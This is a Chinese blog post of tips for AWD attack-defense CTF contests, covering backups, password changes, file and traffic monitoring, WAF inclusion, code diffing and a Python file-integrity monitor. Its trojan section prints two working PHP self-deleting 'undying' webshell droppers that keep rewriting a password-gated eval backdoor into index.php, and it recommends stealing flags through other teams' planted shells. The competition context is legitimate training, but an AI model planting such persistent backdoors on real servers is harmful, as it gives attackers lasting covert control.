• 关于AWD线下攻防的经验


    备份:
        1.备份源码,使用图像化工具连接ssh后,我喜欢用winscp,
            找到根目录后,直接右键后台下载就行。
     
            找根目录这里,有时候比赛不给根目录位置,上次去成信打,说找根目录也是一个考点
            其实也好找,先打开网站首页,谁的都行,因为大家的文件都一样,
            然后查看源码,找一下源码中的php,jpg文件名。比如说有一个congrat.php
            然后我进入ssh里面,执行find / -name congrat.php
            就是在根目录下搜索congrat.php这个文件,很快就搜到了
        
            备份后,马上用d盾,webshellkill,360骚一波,发现预留后门,赶紧删掉
            同时编写脚本去其他机器上拿分
     
            源码拿到后,可以现在本地搭一下,然后上扫描器,直接先黑盒测试一波
     
        2.备份数据库,我没有用过图像化界面,就用命令吧
            先找到你用的是哪个数据库,在你的源码的config类或者database    的配置文件里找,很快就找到
     
            mysqldump –u root –p mydatabase > mydatabase_out.sql;(-uroot好像是连起来的,试一试)
     
            备份出root用户所有的数据库
            mysqldump -uroot -p --all-databases > sqlfile.sql
     
            曾经遇到一个备份有问题可以执行下面
            mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
     
            可以把用户数据库导出来后,再下载到你本地,然后导入使用图形化界面看看
            有哪些表,有哪些字段,flag在哪个地方
            遇到sql注入漏洞时就会,很快利用
     
            恢复备份,在mysql终端下执行:
            命令格式:source FILE_PATH
             source ~/db.sql
            
            或者在shell下执行
            shell> mysqldump -h host -u root -p dbname < dbname_backup.sql
     
            # 重置mysql密码
            # 方法1:用SET PASSWORD命令
            mysql> set password for 用户名@localhost = password('新密码');
            # 方法2:用mysqladmin
            mysqladmin -u用户名 -p旧密码 password 新密码
     
    修改密码:
        修改ssh密码,修改数据库连接密码,修改后台登陆密码
        有写些是不允许修改的,可能是check点
        
        修改ssh密码, ssh登陆后执行passwd,根据提示操作
        修改mysql密码见上面,
        修改后台登陆密码,找到配置文件,也有可能是存在数据库里,可以看一下登陆时的网络请求
        如果操作到数据库了,那么就是账号密码在数据库里
        注意如果修改了数据库密码,后台链接数据库的config的文件的密码一定要改一样,
     
    部署监控:
        文件监控:
            有文件监控脚本,网上挺多的,但是好像都差不多,很有可能你和对手用的就是同一个脚本,同一个木马
            个人觉得文件监控脚本挺好用的,
            只需要放在你的网站根目录,或者上层目录,然后python运行就可以
            文件监控脚本,挺多的,我喜欢用的那个脚本,minitor.py。放在最后了
            这个脚本可以监控文件是否被修改,
            如果被修改,记录被修改后的文件,然后把修改前的还原。
     
        流量监控:
            流量监控非常重要,很多思路就是通过抓别人的流量,然后分析,得到别人打进来的入口点,哪怕是一个文件,
            可能就会点播到你。
            这个我还没有研究
            一会再补
            tcpdump 
            有时候没有这条命令,可以安装
            yum install tcpdump
     
            监听网卡
            tcpdump -i eth1
     
            监听协议,端口
            tcpdump udp port 123
     
            非 : ! or “not” (去掉双引号)
            且 : && or “and”
            或 : || or “or”
             这条命令就够了
            sudo tcpdump -s 0 -w flow.pcap port 80
     
    tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
    1、tcp: ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置,用来过滤数据报的类型
    2、-i eth1 : 只抓经过接口eth1的包
    3、-t : 不显示时间戳
    4、-s 0 : 抓取数据包时默认抓取长度为68字节。加上-S 0 后可以抓到完整的数据包
    5、-c 100 : 只抓取100个数据包
    6、dst port ! 22 : 不抓取目标端口是22的数据包
    7、src net 192.168.1.0/24 : 数据包的源网络地址为192.168.1.0/24
    8、-w ./target.cap : 保存成cap文件,方便用wireshark分析
     
    waf:
        有些比赛是不允许上通用waf的,
        网上很多waf脚本,
        使用方法
            就是用你要保护的文件去包含这个waf.php
        比如说,你要保护select.php
        那么你就在select.php里面写上一行,
            include './waf.php'
            或者
            require_once('waf.php');
        如果你要保护所有文件,那么就在config这种配置文件里包含waf
        因为这种config的文件,一般会被大部分功能页面调用
        
        网上还有一种思路,就是让php文件不解析,这种需要修改apache的配置文件httpd.conf
        个人感觉不可取
    <Directory "/var/www/html/">
    Options -ExecCGI -Indexes
    AllowOverride None
    RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
    RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
    php_flag engine off
    <FilesMatch ".+.ph(p[3457]?|t|tml)$">
    deny from all
    </FilesMatch>
    </Directory>   
     
    文件夹权限:
        一般ssh上对文件操作的权限都很小,
        需要留意upload这种目录,一般这种目录可以上传,执行,
        修改这个文件夹的权限
        chmod 111 config.php
        rwx合起来就是4+2+1=7
        000
        
    源码对比:
        推荐工具DiffMerge
        比赛用的代码肯定是基于网上某些源码,进行修改,拿来用的
        如果我们找到它本来的源码,可以直接去网上搜这种cms已经报出来的漏洞
        也可以用本来的源码,和比赛用的源码进行对比,找到都那个地方被修改了
        然后肯定就是漏洞点。
        还有就是看一下源码中有没有.git
        说不定就有git泄露,
     
    文件对比:
        刚开始时我们down下一份源码
        过一段时间发现我们被打了,很有可能是被种马了
        这时我们再down一份源码,进行代码对比,就会发现我们那个地方被修改,被中马
        
        这次打得,有人在我们站上写了一个一句话,
        那么也可能会在别人机器上写一句话,而且是很简单的那种,
        然后我们就去尝试利用别人种的去偷别人的flag
     
    常见漏洞点:
        注入  loadfile(flag)
        重装写马
        文件上传
        有编辑器的话多数会利用编辑器漏洞
        文件包含
        文件读取
     
    木马:
            不要使用一句话小马,
            要用不死马,密码加密的马,每台机器的密码都不一样的马
     
            下面这个不死马就是直接追加在index.php里,因为有时候没有创建文件的权限,只能修改
    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    //这里是追加到index.php中,
    //也可以$file = './.index.php',没有.index.php就自动创建,防止用建立同名文件夹的方式清除
    $file = './index.php';
    $code = '<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[a]);} ?>';
    while (1){
        file_put_contents($file,$code,FILE_APPEND);
        usleep(5000);
    }
    ?>
     
    这个是直接写一个.index.php
    加一个点是为了隐藏
    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = './.index.php';
    $code = '<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[a]);} ?>';
     
     
    while (1){
        file_put_contents($file,$code);
        usleep(5000);
    }
    ?>
     
     
    一些技巧:
        用chattr命令防止系统中某个关键文件被修改:
        chattr +i /etc/resolv.conf
        
        find -name "*.bak"
        
        用冰蝎连接木马,不要用菜刀
        冰蝎的流量是aes加密的
     
        还有批量获取flag,交flag,自己去搜一下吧,网上挺多的
     
     minitor.py
    # -*- coding: utf-8 -*-
    #use: python file_check.py ./
    
    import os
    import hashlib
    import shutil
    import ntpath
    import time
    
    CWD = os.getcwd()
    FILE_MD5_DICT = {}      # 文件MD5字典
    ORIGIN_FILE_LIST = []
    
    
    # 特殊文件路径字符串
    Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
    bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
    logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
    webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
    difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
    
    Special_string = 'drops_log'  # 免死金牌
    UNICODE_ENCODING = "utf-8"
    INVALID_UNICODE_CHAR_FORMAT = r"?%02x"
    
    # 文件路径字典
    spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
    Special_path = {
        'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
        'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
        'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
        'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
    }
    
    
    def isListLike(value):
        return isinstance(value, (list, tuple, set))
    
    
    # 获取Unicode编码
    def getUnicode(value, encoding=None, noneToNull=False):
    
        if noneToNull and value is None:
            return NULL
    
        if isListLike(value):
            value = list(getUnicode(_, encoding, noneToNull) for _ in value)
            return value
    
        if isinstance(value, unicode):
            return value
        elif isinstance(value, basestring):
            while True:
                try:
                    return unicode(value, encoding or UNICODE_ENCODING)
                except UnicodeDecodeError, ex:
                    try:
                        return unicode(value, UNICODE_ENCODING)
                    except:
                        value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
        else:
            try:
                return unicode(value)
            except UnicodeDecodeError:
                return unicode(str(value), errors="ignore")
    
    
    # 目录创建
    def mkdir_p(path):
        import errno
        try:
            os.makedirs(path)
        except OSError as exc:
            if exc.errno == errno.EEXIST and os.path.isdir(path):
                pass
            else: raise
    
    
    # 获取当前所有文件路径
    def getfilelist(cwd):
        filelist = []
        for root,subdirs, files in os.walk(cwd):
            for filepath in files:
                originalfile = os.path.join(root, filepath)
                if Special_path_str not in originalfile:
                    #排除权限不足的文件,一般flag,还有后缀.sh的动不了
                    if "flag" not in originalfile and ".sh" not in originalfile:
                        filelist.append(originalfile)
        return filelist
    
    
    # 计算机文件MD5值
    def calcMD5(filepath):
        try:
            with open(filepath,'rb') as f:
                md5obj = hashlib.md5()
                md5obj.update(f.read())
                hash = md5obj.hexdigest()
                return hash
        except Exception, e:
            print u'[!] getmd5_error : ' + getUnicode(filepath)
            print getUnicode(e)
            try:
                ORIGIN_FILE_LIST.remove(filepath)
                FILE_MD5_DICT.pop(filepath, None)
            except KeyError, e:
                pass
    
    
    # 获取所有文件MD5
    def getfilemd5dict(filelist = []):
        filemd5dict = {}
        for ori_file in filelist:
            if Special_path_str not in ori_file:
                md5 = calcMD5(os.path.realpath(ori_file))
                if md5:
                    filemd5dict[ori_file] = md5
        return filemd5dict
    
    
    # 备份所有文件
    def backup_file(filelist=[]):
        # if len(os.listdir(Special_path['bak'])) == 0:
        for filepath in filelist:
            if Special_path_str not in filepath:
                shutil.copy2(filepath, Special_path['bak'])
    
    
    if __name__ == '__main__':
        print u'---------start------------'
        for value in Special_path:
            mkdir_p(Special_path[value])
        # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
        ORIGIN_FILE_LIST = getfilelist(CWD)
        FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
        backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
        print u'[*] pre work end!'
        while True:
            file_list = getfilelist(CWD)
            # 移除新上传文件
            diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
            if len(diff_file_list) != 0:
                # import pdb;pdb.set_trace()
                for filepath in diff_file_list:
                    try:
                        f = open(filepath, 'r').read()
                    except Exception, e:
                        break
                    if Special_string not in f:
                        try:
                            print u'[*] webshell find : ' + getUnicode(filepath)
                            shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                        except Exception as e:
                            print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                        try:
                            f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                            f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n')
                            f.close()
                        except Exception as e:
                            print u'[-] log error : file move error: ' + getUnicode(e)
    
            # 防止任意文件被修改,还原被修改文件
            md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
            for filekey in md5_dict:
                if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                    try:
                        f = open(filekey, 'r').read()
                    except Exception, e:
                        break
                    if Special_string not in f:
                        try:
                            print u'[*] file had be change : ' + getUnicode(filekey)
                            shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                            shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                        except Exception as e:
                            print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                        try:
                            f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                            f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n')
                            f.close()
                        except Exception as e:
                            print u'[-] log error : done_diff: ' + getUnicode(filekey)
                            pass
            time.sleep(2)
            # print '[*] ' + getUnicode(time.ctime())
    
     
  • 相关阅读:
    如遇临时表无法删除
    ORA-00054:resource busy and acquire with nowait specified解决方法
    查看用户建立详细原语句
    dbtool部署
    启动uiautomatorview 提示无法初始化主类
    运行虚拟机报错:CPU acceleration status: HAXM is not installed on this machine
    Appium-Python-Windows 环境搭建
    Vagrant安装Docker
    XPath
    Selenium之元素定位
  • 原文地址:https://www.cnblogs.com/kunspace/p/11167310.html
Copyright © 2020-2023  润新知